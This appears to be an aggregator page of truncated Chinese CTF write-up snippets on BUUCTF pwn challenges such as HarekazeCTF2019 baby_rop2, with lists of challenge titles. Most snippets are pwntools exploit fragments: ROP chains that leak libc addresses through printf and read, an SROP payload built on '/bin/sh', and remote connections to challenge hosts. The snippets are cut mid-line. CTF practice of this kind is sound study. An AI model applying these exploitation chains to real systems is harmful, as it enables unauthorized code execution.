frompwnimport*fromLibcSearcherimport* p=remote('node4.buuoj.cn',28057)#p=process('./babyrop2')#a=input()elf=ELF('./babyrop2') read_got=elf.got['read'] printf_plt=elf.plt['printf'] pop_rdi=0x400733ret=0x4004d1main=0x400636p.recvuntil('name? ') payload=b'a'*0x28+p64(pop_...
rop利用prinft泄露read 四、脚本 frompwnimport*fromLibcSearcherimport*#context(os='linux', arch='amd64', log_level='debug')ru=lambdax:io.recvuntil(x) rl=lambda:io.recvline() sla=lambdax,y:io.sendlineafter(x,y) sl=lambdax:io.sendline(x) rv=lambdax:io.recv(x)#io = process('./')i...
from pwn import * p = remote('node3.buuoj.cn',28663) context.binary = './pwn' #context.terminal = ['gnome-terminal','-x','sh','-c'] main_addr = 0x0004004ED mov_rax_15_ret = 0x4004DA syscall_addr = 0x400517 payload1 = '/bin/sh\x00'*2 + p64(main_addr) p.send(paylo...
PWN buuctf刷题 - mrctf2020_easyrop 02:12 PWN buuctf刷题 - starctf_2019_girlfriend 03:14 PWN buuctf刷题 - nsctf_online_2019_pwn2 05:38 PWN buuctf刷题 - rootersctf_2019_baby pwn 06:29 PWN buuctf刷题 - jarvisoj_itemboard 04:58 PWN buuctf刷题 - hwb_2019_mergeheap 08:...
[HarekazeCTF2019]baby_rop2 跟上题差不多,都是利用已有的格式化字符串和printf来泄露真实地址 但是,我本来想用这种方法泄露printf的真实地址,不知道为什么打不通,同样的写法用于泄露read的真实地址,可以成功 from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug') #p = proces...
BUUCTF [HarekazeCTF2019]baby_rop 查看原文 攻防世界 level2 这道题一点也不难,不过遇到了一个之前没有注意到的知识 直接溢出buf就可以覆盖返回地址但是之前做的rop是64位,把参数存放在rdi然后调用system就行 32位的system参数放在栈中,,我以前简单的以为要执行的语句就放在栈于是我把plt表中的地址放进去了,紧...
3.[HarekazeCTF2019]baby_rop2 环境:? 1.checksec [*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/[HarekazeCTF2019]baby_rop2/babyrop2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 2.IDA main int __cdecl main(int argc,...
010.jarvisoj_level2 011.[OGeek2019]babyrop 012.get_started_3dsctf_2016 013.bjdctf_2020_babystack 014.ciscn_2019_en_2 015.not_the_same_3dsctf_2016 016.[HarekazeCTF2019]baby_rop 017.jarvisoj_level2_x64 018.ciscn_2019_n_5 019.others_shellcode ...
014.ciscn_2019_en_2 015.not_the_same_3dsctf_2016 016.[HarekazeCTF2019]baby_rop 017.jarvisoj_level2_x64 018.ciscn_2019_n_5 019.others_shellcode 020.ciscn_2019_ne_5 021.铁人三项(第五赛区)_2018_rop 022.bjdctf_2020_babyrop 023.jarvisoj_fm 024.bjdctf_2020_babystack2 025.pwn2_sctf_20...
#-*- coding:utf-8-*- from pwn import * from LibcSearcher import * context(os="linux", arch="amd64", log_level="debug") local = 1 if local: p = process('./[HarekazeCTF2019]baby_rop2') else: p = remote('node3.buuoj.cn',29812) elf = ELF('[HarekazeCTF2019]baby_rop2') ...